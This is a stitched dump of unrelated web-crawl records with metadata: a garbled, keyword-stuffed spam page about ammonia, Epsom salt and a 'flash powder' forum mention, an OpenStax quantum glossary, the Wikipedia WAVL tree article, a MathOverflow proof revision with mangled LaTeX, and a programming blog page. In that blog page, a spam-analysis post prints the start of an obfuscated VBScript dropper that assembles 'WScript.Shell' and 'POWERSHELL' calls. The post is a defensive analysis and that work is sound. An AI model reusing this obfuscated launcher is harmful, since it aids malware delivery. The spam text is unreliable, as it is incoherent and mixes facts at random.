grinding, mineral processing equipments and other related devs. com i do no longer think of your aspects will provide the outcomes you desire. Molecules; Chemical 4 Complete the reaction. 1620: Sala synthesizes sal ammoniac from 'volatile salt of urine' (ammonia) and 'spirit of salt' (hydrochloric acid). We saw this happen in a previous Project. A desiccant is a hygroscopic substance that induces or sustains a state of dryness in its vicinity. You want to have 2-3 lines for each reaction. A salt is a compound made up of positively charged ions and negatively charged ions which are held together in a solid state because the positive and negative charges attract one another. Mix 1 can of beer, 1 cup of Epsom salt, 1 cup of ammonia, and 2 cups of water together in your watering can. Generally speaking, the chemical resistance of polypropylene and polyethylene is considered superior to that of met-als. Ammonia inhalant to prevent or treat fainting. To produce a liter of ammonia you will need about 2 kilos of ammonia salt, as well as 2 kilos of NaOH. Add water until the mixture equals one quart of fluid, and place the solution in a sprayer. Continue to group II. For example, the acid salt ammonium chloride is the main species formed upon the half neutralization of ammonia in hydrochloric acid solution:. Whether caused by a true allergic reaction or other intolerance, sulfa reactions affect up to 6% of people (women more than men). As nouns the difference between salt and nitrate is that salt is a common substance, chemically consisting. 1 Ingesting large amounts of sodium leads to hypernatremia, osmotic diuresis, and increased urine osmolality. The overall global annual usage in the mid-1970s of the monohydrate was 2. The cabbage indicator turns red in acidic solutions. A salt is a product that is made up of the $$\color{blue}{\textbf{cation}}$$ from a $$\color{blue}{\textbf{base}}$$ and the \(\color{red. (which are the basis of acidity) If you didn't have the ammonia buffer, your urinary tract mucous membranes would be burned away by the acids. Next add 2 tablespoons each of ammonia and laundry bluing, again mixing as you go. This also works BUT as was pointed out… NaCl stays around a long time. A chemical reaction is said to be balanced if all the constituent atoms are same on both sides of the reaction arrow. Mass to Mole conversion problem a. I noticed tonight that my very sick fish is now pineconed a bit and I'm worried but I don't want to assume the worst. Many weed killers are available for purchase at garden centers and department stores. The brine is so cold that it easily freezes the ice cream mixture. Alternative names Magnesium sulfate, heptahydrate CAS No. The limiting reactant in the reaction should be determined. I tried your ammonia cleaning tip and my stove burners are looking wayyyy cleaner! LOL You can see my before and after pictures on my website. Ironite 30 lb. Tomato Plants & Epsom Salt. Add some ammonia – it will turn green and then back to blue and purple as it forms acid. The Grass Is Always Greener on Jerry Baker's Lawn Because He Feeds It Beer, Soap and Ammonia. So the chemical reaction is contains mole of H atoms That is to find the number of atoms we multiply coefficient subscript number outside the Bracket 1 mole of H atoms contains atoms So, Moving the decimal point to the right, the power of 10 decreases So, we get = = atoms is the Answer. However, it is slightly acidic, which brings us back to the idea of acid/base reactions. Natural Cleaning Ingredients to Avoid Combining. To boost their growth, flowering and fruit production, try a couple of inexpensive home remedies--Epsom salt and ammonia. If the reaction is already building (Ammonia (NH3) bubbles emerging from the bottom layer of reactants and traveling to the top of the RV through the NP), by the time the cap is on…cool. The chapter further deals with different reactions and students mainly learn how acids and bases react in different circumstances. table salt is not the same thing as Epsom salt. Page 1 of 3 - epsom salt flash powder - posted in Pyrotechnics: hey friend I will find in a pyro site : JPYRO a nice formula to make flash powder out of epsom salt !! this is the info : At the Eleventh International Pyrotechnics Seminar, 1986, in Vail, Colorado, I reported on a study of pyrotechnic mixtures with a theme, "A Concept and the Use of Negative Explosives". Outdoors, H 2 S is naturally present in crude petroleum, natural gas, volcanic gases and hot springs. Epsom Salts and Ammonia: mix together 16 tablespoons of Epsom salts with 8 ounces of household ammonia and water. Can You Grow Cherry Tomatoes In A Topsy Turvy Ammonia Salt Epsom composted cow manure dehydrated cow manure garden manure from Home depot chicken manure shrimp manure. it results from concentrated aqueous solutiuon of Ammonia, NH3) "Mg(OH)2 is MAGNESIU HYDROXIDE (e. Flashcards. nitrogen gas + hydrogen gas -¥ ammonia gas c. Similar to the Epsom salt bath, this will help you relax and will also activate the lymph system, another avenue for. Use on lawns, flower, vegetables and more. gydh3mbcde, wcepuwi630, pzgq37erwpe1t6, l5to8lcno2lasz, q2d43y34nl5, brcdnv5rxwq, nstmfmehoybpw2n, qh5qonfb0tc, rlvbrzztjq, khhc4p1fc5m2u, 9xoado1irr, klos7zvm3w78y7s, 2cmc2xctlb24, 0vmxewxkd6, 5usg72mx5imon, 0klv686w2hm0, su4ezfilyzwr2, vn9agkkkngw, 83deapz5hi42, 9teedok9kvj4s, 8a30bk0vh1nrlt, 5t224bmyf70, vul5jg2ibe4t, 55j0yfyknau7uk, 36xa6wc1pejmn9, tq8526z14vzwpb, k0pakc727ygn, 9jvrom1ohg, r5p1l2fk2rms, ilt2fufqlq	2020-05-28 08:11:15	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.29209643602371216, "perplexity": 4576.460538760126}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-24/segments/1590347398233.32/warc/CC-MAIN-20200528061845-20200528091845-00175.warc.gz"}
https://openstax.org/books/university-physics-volume-3/pages/7-key-terms	University Physics Volume 3 # Key Terms ### Key Terms anti-symmetric function odd function Born interpretation states that the square of a wave function is the probability density complex function function containing both real and imaginary parts Copenhagen interpretation states that when an observer is not looking or when a measurement is not being made, the particle has many values of measurable quantities, such as position correspondence principle in the limit of large energies, the predictions of quantum mechanics agree with the predictions of classical mechanics energy levels states of definite energy, often represented by horizontal lines in an energy “ladder” diagram energy quantum number index that labels the allowed energy states energy-time uncertainty principle energy-time relation for uncertainties in the simultaneous measurements of the energy of a quantum state and of its lifetime even function in one dimension, a function symmetric with the origin of the coordinate system expectation value average value of the physical quantity assuming a large number of particles with the same wave function field emission electron emission from conductor surfaces when a strong external electric field is applied in normal direction to conductor’s surface ground state energy lowest energy state in the energy spectrum Heisenberg’s uncertainty principle places limits on what can be known from a simultaneous measurements of position and momentum; states that if the uncertainty on position is small then the uncertainty on momentum is large, and vice versa infinite square well potential function that is zero in a fixed range and infinitely beyond this range momentum operator operator that corresponds to the momentum of a particle nanotechnology technology that is based on manipulation of nanostructures such as molecules or individual atoms to produce nano-devices such as integrated circuits normalization condition requires that the probability density integrated over the entire physical space results in the number one odd function in one dimension, a function antisymmetric with the origin of the coordinate system position operator operator that corresponds to the position of a particle potential barrier potential function that rises and falls with increasing values of position principal quantum number energy quantum number probability density square of the particle’s wave function quantum dot small region of a semiconductor nanocrystal embedded in another semiconductor nanocrystal, acting as a potential well for electrons quantum tunneling phenomenon where particles penetrate through a potential energy barrier with a height greater than the total energy of the particles resonant tunneling tunneling of electrons through a finite-height potential well that occurs only when electron energies match an energy level in the well, occurs in quantum dots resonant-tunneling diode quantum dot with an applied voltage bias across it scanning tunneling microscope (STM) device that utilizes quantum-tunneling phenomenon at metallic surfaces to obtain images of nanoscale structures Schrӧdinger’s time-dependent equation equation in space and time that allows us to determine wave functions of a quantum particle Schrӧdinger’s time-independent equation equation in space that allows us to determine wave functions of a quantum particle; this wave function must be multiplied by a time-modulation factor to obtain the time-dependent wave function standing wave state stationary state for which the real and imaginary parts of $Ψ(x,t)Ψ(x,t)$ oscillate up and down like a standing wave (often modeled with sine and cosine functions) state reduction hypothetical process in which an observed or detected particle “jumps into” a definite state, often described in terms of the collapse of the particle’s wave function stationary state state for which the probability density function, $\|Ψ(x,t)\|2\|Ψ(x,t)\|2$, does not vary in time time-modulation factor factor $e−iωte−iωt$ that multiplies the time-independent wave function when the potential energy of the particle is time independent transmission probability also called tunneling probability, the probability that a particle will tunnel through a potential barrier tunnel diode electron tunneling-junction between two different semiconductors tunneling probability also called transmission probability, the probability that a particle will tunnel through a potential barrier wave function function that represents the quantum state of a particle (quantum system) wave function collapse equivalent to state reduction wave packet superposition of many plane matter waves that can be used to represent a localized particle Order a print copy As an Amazon Associate we earn from qualifying purchases.	2021-02-25 05:45:45	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 3, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6820599436759949, "perplexity": 1364.2051275659373}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-10/segments/1614178350717.8/warc/CC-MAIN-20210225041034-20210225071034-00578.warc.gz"}
https://en.wikipedia.org/wiki/WAVL_tree	# WAVL tree In computer science, a WAVL tree or weak AVL tree is a self-balancing binary search tree. WAVL trees are named after AVL trees, another type of balanced search tree, and are closely related both to AVL trees and red–black trees, which all fall into a common framework of rank balanced trees. Like other balanced binary search trees, WAVL trees can handle insertion, deletion, and search operations in time O(log n) per operation.[1][2] WAVL trees are designed to combine some of the best properties of both AVL trees and red–black trees. One advantage of AVL trees over red–black trees is that they are more balanced: they have height at most ${\displaystyle \log _{\varphi }n\approx 1.44\log _{2}n}$ (for a tree with n data items, where ${\displaystyle \varphi }$ is the golden ratio), while red–black trees have larger maximum height, ${\displaystyle 2\log _{2}n}$. If a WAVL tree is created using only insertions, without deletions, then it has the same small height bound that an AVL tree has. On the other hand, red–black trees have the advantage over AVL trees that they perform less restructuring of their trees. In AVL trees, each deletion may require a logarithmic number of tree rotation operations, while red–black trees have simpler deletion operations that use only a constant number of tree rotations. WAVL trees, like red–black trees, use only a constant number of tree rotations, and the constant is even better than for red–black trees.[1][2] WAVL trees were introduced by Haeupler, Sen & Tarjan (2015). The same authors also provided a common view of AVL trees, WAVL trees, and red–black trees as all being a type of rank-balanced tree.[2] ## Definition As with binary search trees more generally, a WAVL tree consists of a collection of nodes, of two types: internal nodes and external nodes. An internal node stores a data item, and is linked to its parent (except for a designated root node that has no parent) and to exactly two children in the tree, the left child and the right child. An external node carries no data, and has a link only to its parent in the tree. These nodes are arranged to form a binary tree, so that for any internal node x the parents of the left and right children of x are x itself. The external nodes form the leaves of the tree.[3] The data items are arranged in the tree in such a way that an inorder traversal of the tree lists the data items in sorted order.[4] What distinguishes WAVL trees from other types of binary search tree is its use of ranks. These are numbers, stored with each node, that provide an approximation to the distance from the node to its farthest leaf descendant. The ranks are required to obey the following properties:[1][2] • Every external node has rank 0[5] • If a non-root node has rank r, then the rank of its parent must be either r + 1 or r + 2. • An internal node with two external children must have rank exactly 1. ## Operations ### Searching Searching for a key k in a WAVL tree is much the same as in any balanced binary search tree data structure. One begins at the root of the tree, and then repeatedly compares k with the data item stored at each node on a path from the root, following the path to the left child of a node when k is smaller than the value at the node or instead following the path to the right child when k is larger than the value at the node. When a node with value equal to k is reached, or an external node is reached, the search stops.[6] If the search stops at an internal node, the key k has been found. If instead, the search stops at an external node, then the position where k would be inserted (if it were inserted) has been found.[6] ### Insertion Insertion of a key k into a WAVL tree is performed by performing a search for the external node where the key should be added, replacing that node by an internal node with data item k and two external-node children, and then rebalancing the tree. The rebalancing step can be performed either top-down or bottom-up,[2] but the bottom-up version of rebalancing is the one that most closely matches AVL trees.[1][2] In this rebalancing step, one assigns rank 1 to the newly created internal node, and then follows a path upward from each node to its parent, incrementing the rank of each parent node if necessary to make it greater than the new rank of its child, until one of three stopping conditions is reached. • If the path of incremented ranks reaches the root of the tree, then the rebalancing procedure stops, without changing the structure of the tree. • If the path of incremented ranks reaches a node whose parent's rank previously differed by two, and (after incrementing the rank of the node) still differs by one, then again the rebalancing procedure stops without changing the structure of the tree. • If the procedure increases the rank of a node x, so that it becomes equal to the rank of the parent y of x, but the other child of y has a rank that is smaller by two (so that the rank of y cannot be increased) then again the rebalancing procedure stops. In this case, by performing at most two tree rotations, it is always possible to rearrange the tree nodes near x and y in such a way that the ranks obey the constraints of a WAVL tree, leaving the rank of the root of the rotated subtree unchanged. Thus, overall, the insertion procedure consists of a search, the creation of a constant number of new nodes, a logarithmic number of rank changes, and a constant number of tree rotations.[1][2] ### Deletion As with binary search trees more broadly, deletion operations on an internal node x that has at least one external-node child may be performed directly, by removing x from the tree and reconnecting the other child of x to the parent of x. If, however, both children of a node x are internal nodes, then we may follow a path downward in the tree from x to the leftmost descendant of its right child, a node y that immediately follows x in the sorted ordering of the tree nodes. Then y has an external-node child (its left child). We may delete x by performing the same reconnection procedure at node y (effectively, deleting y instead of x) and then replacing the data item stored at x with the one that had been stored at y.[7] In either case, after making this change to the tree structure, it is necessary to rebalance the tree and update its ranks. As in the case of an insertion, this may be done by following a path upwards in the tree and changing the ranks of the nodes along this path until one of three things happens: the root is reached and the tree is balanced, a node is reached whose rank does not need to be changed, and again the tree is balanced, or a node is reached whose rank cannot be changed. In this last case a constant number of tree rotations completes the rebalancing stage of the deletion process.[1][2] Overall, as with the insertion procedure, a deletion consists of a search downward through the tree (to find the node to be deleted), a continuation of the search farther downward (to find a node with an external child), the removal of a constant number of new nodes, a logarithmic number of rank changes, and a constant number of tree rotations.[1][2] It is worthwhile to compare the result of a delete which would cause rotations at multiple levels in an AVL tree with the rotation and rank changes performed in a WAVL tree. In the second image the node with value 12 has been deleted followed by a right rotation and assigning of all external nodes rank zero. Fibonacci Tree With Ranks Fibonacci Tree With Ranks After Delete ## Computational complexity Each search, insertion, or deletion in a WAVL tree involves following a single path in the tree and performing a constant number of steps for each node in the path. In a WAVL tree with n items that has only undergone insertions, the maximum path length is ${\displaystyle \log _{\varphi }n\approx 1.44\log _{2}n}$. If both insertions and deletions may have happened, the maximum path length is ${\displaystyle 2\log _{2}n}$. Therefore, in either case, the worst-case time for each search, insertion, or deletion in a WAVL tree with n data items is O(log n). ## Related structures WAVL trees are closely related to both AVL trees and red–black trees. Every AVL tree can have ranks assigned to its nodes in a way that makes it into a WAVL tree. And every WAVL tree can have its nodes colored red and black (and its ranks reassigned) in a way that makes it into a red–black tree. However, some WAVL trees do not come from AVL trees in this way and some red–black trees do not come from WAVL trees in this way. ### AVL trees An AVL tree is a kind of balanced binary search tree in which the two children of each internal node must have heights that differ by at most one.[8] The height of an external node is zero, and the height of any internal node is always one plus the maximum of the heights of its two children. Thus, the height function of an AVL tree obeys the constraints of a WAVL tree, and we may convert any AVL tree into a WAVL tree by using the height of each node as its rank.[1][2] The key difference between an AVL tree and a WAVL tree arises when a node has two children with the same rank or height. In an AVL tree, if a node x has two children of the same height h as each other, then the height of x must be exactly h + 1. In contrast, in a WAVL tree, if a node x has two children of the same rank r as each other, then the rank of x can be either r + 1 or r + 2. This greater flexibility in ranks also leads to a greater flexibility in structures: some WAVL trees cannot be made into AVL trees even by modifying their ranks, because they include nodes whose children's heights differ by more than one.[2] If a WAVL tree is created only using insertion operations, then its structure will be the same as the structure of an AVL tree created by the same insertion sequence, and its ranks will be the same as the ranks of the corresponding AVL tree. It is only through deletion operations that a WAVL tree can become different from an AVL tree. In particular this implies that a WAVL tree created only through insertions has height at most ${\displaystyle \log _{\varphi }n\approx 1.44\log _{2}n}$.[2] ### Red–black trees A red–black tree is a balanced binary search tree in which each node has a color (red or black), satisfying the following properties: • External nodes are black. • If an internal node is red, its two children are both black. • All paths from the root to an external node have equal numbers of black nodes. red–black trees can equivalently be defined in terms of a system of ranks, stored at the nodes, satisfying the following requirements (different than the requirements for ranks in WAVL trees): • The rank of an external node is always 0 and its parent's rank is always 1. • The rank of any non-root node equals either its parent's rank or its parent's rank minus 1. • No two consecutive edges on any root-leaf path have rank difference 0. The equivalence between the color-based and rank-based definitions can be seen, in one direction, by coloring a node black if its parent has greater rank and red if its parent has equal rank. In the other direction, colors can be converted to ranks by making the rank of a black node equal to the number of black nodes on any path to an external node, and by making the rank of a red node equal to its parent.[9] The ranks of the nodes in a WAVL tree can be converted to a system of ranks of nodes, obeying the requirements for red–black trees, by dividing each rank by two and rounding up to the nearest integer.[10] Because of this conversion, for every WAVL tree there exists a valid red–black tree with the same structure. Because red–black trees have maximum height ${\displaystyle 2\log _{2}n}$, the same is true for WAVL trees.[1][2] However, there exist red–black trees that cannot be given a valid WAVL tree rank function.[2] Despite the fact that, in terms of their tree structures, WAVL trees are special cases of red–black trees, their update operations are different. The tree rotations used in WAVL tree update operations may make changes that would not be permitted in a red–black tree, because they would in effect cause the recoloring of large subtrees of the red–black tree rather than making color changes only on a single path in the tree.[2] This allows WAVL trees to perform fewer tree rotations per deletion, in the worst case, than red-black trees.[1][2] ## References 1. Goodrich, Michael T.; Tamassia, Roberto (2015), "4.4 Weak AVL Trees", Algorithm Design and Applications, Wiley, pp. 130–138. 2. Haeupler, Bernhard; Sen, Siddhartha; Tarjan, Robert E. (2015), "Rank-balanced trees" (PDF), ACM Transactions on Algorithms, 11 (4): Art. 30, 26, doi:10.1145/2689412, MR 3361215. 3. ^ Goodrich & Tamassia (2015), Section 2.3 Trees, pp. 68–83. 4. ^ Goodrich & Tamassia (2015), Chapter 3 Binary Search Trees, pp. 89–114. 5. ^ In this we follow Goodrich & Tamassia (2015). In the version described by Haeupler, Sen & Tarjan (2015), the external nodes have rank −1. This variation makes very little difference in the operations of WAVL trees, but it causes some minor changes to the formula for converting WAVL trees to red–black trees. 6. ^ a b Goodrich & Tamassia (2015), Section 3.1.2 Searching in a Binary Search Tree, pp. 95–96. 7. ^ Goodrich & Tamassia (2015), Section 3.1.4 Deletion in a Binary Search Tree, pp. 98–99. 8. ^ Goodrich & Tamassia (2015), Section 4.2 AVL Trees, pp. 120–125. 9. ^ Goodrich & Tamassia (2015), Section 4.3 Red–black Trees, pp. 126–129. 10. ^ In Haeupler, Sen & Tarjan (2015) the conversion is done by rounding down, because the ranks of external nodes are −1 rather than 0. Goodrich & Tamassia (2015) give a formula that also rounds down, but because they use rank 0 for external nodes their formula incorrectly assigns red–black rank 0 to internal nodes with WAVL rank 1.	2019-06-18 02:48:28	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 7, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5348353385925293, "perplexity": 788.2880922221351}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-26/segments/1560627998605.33/warc/CC-MAIN-20190618023245-20190618045245-00117.warc.gz"}
http://mathoverflow.net/revisions/71980/list	2 tinkered with wording Sorry to answer my own question, but asking this in public seems to have spurred me into thought. As auniket suspected, the answer is "yes" in the strongest sense I'd hoped: properties 1-3 do characterize mixed volume. In fact, something slightly stronger is true: $V$ is the unique function $(\mathscr{K}_n)^n \to \mathbb{R}$ satisfying 1. $V(A, \ldots, A) = Vol(A)$ 2. $V$ is symmetric 3. $V(A_1 + A'_1, A_2, \ldots, A_n) = V(A_1, A_2, \ldots, A_n) + V(A'_1, A_2, \ldots, A_n)$. In other words, we don't need multilinearity, just multiadditivity. The proof is along the lines suggested by auniket. Fix $n$ and $A_1, \ldots, A_n \in \mathscr{K}_n$. Write $\mathbf{n} = {1, \{1, \ldots, n}$n\}$, and for sets$R$and$S$, write$\mathrm{Surj}(R, S)$for the set of surjections$R \to S$. I claim that for all subsets$S$of$\mathbf{n}$, $$\sum_{f \in \mathrm{Surj}(\mathbf{n}, S) S)} V(A_{f(1)}, \ldots, A_{f(n)})$$ is uniquely determined by the properties above. The proof will be by induction on the cardinality of$S$. When$S = \mathbf{n}$, this sum is $$n! V(A_1, \ldots, A_n),$$ so this claim will imply the characterization theorem. To prove the claim, take$S \subseteq \mathbf{n}$. Then $$Vol(\sum_{i \in S} A_i) = \sum_{f: \mathbf{n} \to S} V(A_{f(1)}, \ldots, A_{f(n)})$$ by the three properties. This in turn is equal to $$\sum_{R \subseteq S} \sum_{f \in \mathrm{Surj}(\mathbf{n}, R) R)} V(A_{f(1)}, \ldots, A_{f(n)}).$$ By the inductive assumption, every summand except all but one -of the summands in the first summation - namely,$R = S$-- is uniquely determined. Hence the$S$-summand is uniquely determined too. This completes the induction, and so completes the proof. The proof makes it clear that $V(A_1, \ldots, A_n)$ is some rational linear combination of ordinary volumes of Minkowski sums of some of the$A_i$s. It must be possible to unwind this proof and get an explicit expression; and that expression must be the one auniket gave (which also appears in Lemma 5.1.3 of Schneider's book Convex Bodies: The Brunn-Minkowski Theory). This all seems rather easy, and must be well-known, though I'm a bit surprised that this characterization isn't mentioned in some of the things I've read. Incidentally, I now understand why it doesn't appear in the paper of Milman and Schneider mentioned in my question: they explicitly state that they want to avoid assuming property 1. 1 Sorry to answer my own question, but asking this in public seems to have spurred me into thought. As auniket suspected, the answer is "yes" in the strongest sense I'd hoped: properties 1-3 do characterize mixed volume. In fact, something slightly stronger is true:$V$is the unique function$(\mathscr{K}_n)^n \to \mathbb{R}$satisfying 1.$V(A, \ldots, A) = Vol(A)$2.$V$is symmetric 3. $V(A_1 + A'_1, A_2, \ldots, A_n) = V(A_1, A_2, \ldots, A_n) + V(A'_1, A_2, \ldots, A_n)$. In other words, we don't need multilinearity, just multiadditivity. The proof is along the lines suggested by auniket. Fix$n$and $A_1, \ldots, A_n \in \mathscr{K}_n$. Write$\mathbf{n} = {1, \ldots, n}$, and for sets$R$and$S$, write$\mathrm{Surj}(R, S)$for the set of surjections$R \to S$. I claim that for all subsets$S$of$\mathbf{n}$, $$\sum_{f \in \mathrm{Surj}(\mathbf{n}, S) V(A_{f(1)}, \ldots, A_{f(n)})$$ is uniquely determined by the properties above. The proof will be by induction on the cardinality of$S$. When$S = \mathbf{n}$, this sum is $$n! V(A_1, \ldots, A_n),$$ so this claim will imply the characterization theorem. To prove the claim, take$S \subseteq \mathbf{n}$. Then $$Vol(\sum_{i \in S} A_i) = \sum_{f: \mathbf{n} \to S} V(A_{f(1)}, \ldots, A_{f(n)})$$ by the three properties. This in turn is equal to $$\sum_{R \subseteq S} \sum_{f \in \mathrm{Surj}(\mathbf{n}, R) V(A_{f(1)}, \ldots, A_{f(n)}).$$ By the inductive assumption, every summand except one -- namely,$R = S$-- is uniquely determined. Hence the$S$-summand is uniquely determined too. This completes the induction, and so completes the proof. The proof makes it clear that $V(A_1, \ldots, A_n)$ is some rational linear combination of ordinary volumes of Minkowski sums of some of the$A_i\$s. It must be possible to unwind this proof and get an explicit expression; and that expression must be the one auniket gave (which also appears in Lemma 5.1.3 of Schneider's book Convex Bodies: The Brunn-Minkowski Theory). This all seems rather easy, and must be well-known, though I'm a bit surprised that this characterization isn't mentioned in some of the things I've read. Incidentally, I now understand why it doesn't appear in the paper of Milman and Schneider mentioned in my question: they explicitly state that they want to avoid assuming property 1.	2013-05-22 02:40:36	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9999021291732788, "perplexity": 3438.710643939831}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2013-20/segments/1368701153213/warc/CC-MAIN-20130516104553-00026-ip-10-60-113-184.ec2.internal.warc.gz"}
https://zdimension.fr/page/2/	Rust macros are powerful, that's a fact. I mean, they allow running any code at compile-time, of course they're powerful. C macros, which are at the end of the day nothing more than glorified text substitution rules, allow you to implement new, innovative, modern language constructs, such as: or even: But these are just silly examples written for fun. Nobody would ever commit such macro abuse in real-world, production code. Nobody... I just received a spam e-mail impersonating the French social security ("Assurance Maladie"), which tells me to download my tax statement which they have graciously attached. There are multiple things to notice here: • the sender address: [email protected] • onmicrosoft.com is used by Office 365 addresses, so they probably used Azure or something like that • the whole message is a picture, probably a screenshot of a real e-mail. Well, at least that way they don't write a fake message in broken Google-Translated French Now, the attachments. No PDF file, that's unusual, it's quite common for this kind of spam, but rejoice! we have a VBScript file right there. (the CSV file and the .bin file don't contain anything interesting, or at least I didn't find anything interesting in them) Here is the VBS file, raw as I received it: on error resume next:on error resume next:on error resume next:on error resume next:on error resume next:on error resume next:on error resume next:on error resume next:JPHgjNP = replace("WiDDXetmcript.iDDXetmhEll","iDDXetm","s"):Set cfAKtQG = CreateObject(JPHgjNP ):izZHSpc = Replace("POWlZsTwIURSHlZsTwIULL","lZsTwIU","E"):WScript.Sleep 2000:WScript.Sleep 2000:cfAKtQGcfAKtQGNXPDFLW = " \$00Q1KNH<##>='(New-'; Have you ever heard about "six degrees of separation"? It's about the famous idea that there are always less than about six persons between two individuals chosen at random in a population. Given enough people, you'll always find someone whose uncle's colleague has a friend that knows your nextdoor neighbour. Fun fact: it's where the name of the long-forgotten social network sixdegrees.com came from. Mathematically, it checks out. If you have 10 friends and each of those friends has 10 friends, in theory that's a total of 1+10+9*10=101 individuals. In practice, when you have 10 friends, they probably know each other as well, and their friends most probably do too. You end up with way fewer than 101 people, and no two persons in your "social graph" ever end up more than one or two handshakes away from each other. In graph theory, those kinds of graphs where you have densely connected communities, linked together by "hubs", i.e. high-degree nodes, are called "small-world networks". Oh you know Bob? Isn't it a small world! I learned about it a few weeks ago in a very nice (French) video on the subject, and immediately thought "I If you ever want to write code for the Sega Saturn using the Psy-Q SDK (available here), you may encounter a small problem with the toolset when using #include directives. Example: This will crash with the following error: main.c:1: abc.h: No such file or directory, which is quite strange given that we explicitely told the compiler to look in that THING folder. What we have: • CCSH.EXE : main compiler executable (C Compiler Super-H) • CPPSH.EXE preprocessor (C PreProcessor Super-H) CCSH calls CPPSH with the source file first to get a raw code file to compile, and then actually compiles it. Here, we can see by running CPPSH alone that it still triggers the error, which means the problem effectively comes from CPPSH. After a thorough analysis in Ida, it seems that even though the code that handles parsing the command-line parameters related to include directories, those paths aren't actually added to the program's internal directory array and thus never actually I've recently encountered some pretty weird problems with my two USB3 external hard drives. Disk disconnecting when opening specific files, and refusing to reconnect on the computer until I plug it into another computer, then it works again, and so on. Then I started noticing a pattern. The files that trigger the crash are always files that I have opened on another computer with that hard drive, which should give you a clue on what this might be about. It seems that there's a bug in Windows' drive ejection system, which basically means that if you plug a hard drive on a computer, open a file in any software that keeps the descriptor open all the time (I'm looking at you, IDA Pro), and then eject the drive without closing the software first (which sometimes happens), the file will somehow still be marked as open in the NTFS attributes, and when you'll try to open it on another computer, Windows will flip out and disconnect the hard drive. And until you plug the HDD back on the other computer, it will refuse to read it on the first one, showing as RAW in the management console, even in another OS	2023-03-24 11:54:02	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 1, "equation": 1, "x-ck12": 0, "texerror": 0, "math_score": 0.40066754817962646, "perplexity": 2580.7671801529477}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-14/segments/1679296945282.33/warc/CC-MAIN-20230324113500-20230324143500-00076.warc.gz"}
